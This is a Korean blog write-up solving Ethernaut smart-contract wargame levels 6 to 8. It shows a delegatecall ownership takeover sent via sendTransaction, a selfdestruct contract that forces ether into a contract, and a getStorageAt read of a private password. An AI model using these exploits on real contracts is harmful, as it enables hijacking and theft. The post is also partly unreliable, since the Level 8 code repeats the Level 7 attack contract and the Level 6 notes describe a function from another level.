Ethernaut 6~8

molly·2022년 12월 18일
1

스마트컨트랙트

목록 보기
2/4
post-thumbnail

Level6 - Delegatecall(난이도 2)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

pwn()
- owner = msg.sender
contribute()
- msg.value(컨트랙트에 들어오는 이더)가 0.001이더보다 작으면 해당 함수가 실행된다.
- msg.sender의 이더벨류가 owner의 이더밸류보다 높다면 오너는 메시지센더이다
fallback()
- 인스턴스를 delgatecall함수로 호출

문제

인스턴스의 소유권 주장

핵심

delegatecall은
스마트 컨트랙트의 불변성의 단점을 해결할 수 있는 객체이다.
즉 한 번 배포된 스마트컨트랙트를 변경하는 것은 불가능하지만 delegatecall을 이용하면 로직을 쉽게 변경할 수 있다.
쉽게 말해,
A컨트랙트의 a1함수(변수를 변경하는 함수)를 B컨트랙트에서 콜을 하고 싶은데 call을 사용하면 A컨트랙트의 변수를 변경하게 되지만 delegatecall을 사용하면 a컨트랙트의 변수가 b컨트랙트에 변경되어 저장이 된다.

해결

간단하게 Delagate 컨트랙트를 delegatecall 하면 되지 않을까?
해당 문제를 풀기 위해선 Delegate의 pwn()을 delegatecall하면 될 것이고 해당 메소드의 바이트값을 알기 위해선 리믹스에서 delegate를 컴파일 한 후에 디테일 창에서 찾을 수 있었다. 리믹스를 사용하지 않는다면 메소드명에 해시하여 앞에 4바이트를 가져오면 메소드 id를 구할 수 있을 것이다.
그리고 나서 calldata를 보내려 했는데 콜데이터로 트랜잭션을 보내고 확인을 해보니 오너가 바뀌지 않았다.
원래대로라면 해당 콜데이터를 보내면 delegation 컨트랙트에 서 해당 함수가 없기에 fallback 함수가 실행이 될 줄 알았는데 실행이 안되서 당황하였다… 이유를 아는 사람은 알려주길…
그래서 그냥 Ethernaut사이트 콘솔에서 트랜잭션을 보내기로 하였고sendTransaction({from:player, to:contract.address, data:"0xdd365b8b"}) 다음과 같이 트랜잭션을 보내서 문제를 해결하였다.

결론

Delegate를 공부하면서 알게 된 점이 call과 delegatecall은 타입 안전성을 깨트르니 최후의 수단으로 실행을 지양한다고 한다.

Level7 - Force(난이도 3)

// // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

이건 무슨 코드일까…?

abi를 봐도 무언가를 찾을 수 없었고 문제를 보고나니 이해가 되었다.

문제

계약의 잔액을 0보다 크게 해라, 즉 스마트컨트랙트에 입금을 하여라

핵심

payable이 선언되지 않은 컨트랙트에 강제 입금하기

해결

역시 일반적으로 컨트랙트에 이더를 보내려했을 때는 보내지지 않았는데 서치를 좀 해보니까 selfdestruct를 통해서 강제로 이더를 payable이 선언되지 않은 컨트랙트로 보낼 수 가 있었다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {

    constructor() payable {
    }

    function attack(address payable _addr) public {
        selfdestruct(payable (address(_addr)));
    }  
}

Level8 Vault(난이도 2)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {

    constructor() payable {
    }

    function attack(address payable _addr) public {
        selfdestruct(payable (address(_addr)));
    }  
  

}

문제

password를 맞춰서 락을 풀어라

핵심

스토리지

해결

해당 문제는 조금 살펴보니 스토리지에 저장된 값은 외부에서 컨트랙트 주소만 알고 있으면 디코딩하여 알 수 있기에 이것을 이용하면 되겠다고 생각했다.
하지만 private도 스토리지값을 찾아보면 알 수 있을까라는 생각으로 반신반의 하면서 스토리지값을 찾아 대입하였는데 정답이였다.
web3 API에 있는 getStroageAt 함수를 통해 쉽게 스토리지 값을 가져옴, 참고로 주소에 매핑된 값은 해당 주소값을 추가로 입력하면 알아낼 수 있다.

web3.eth.getStorageAt("0x262e2F6fFd3D0fEF7007967f960bf1d7b8f2232C",1).then(console.log);

//0x412076657279207374726f6e67207365637265742070617373776f7264203a29
profile
BlockChain R&D

0개의 댓글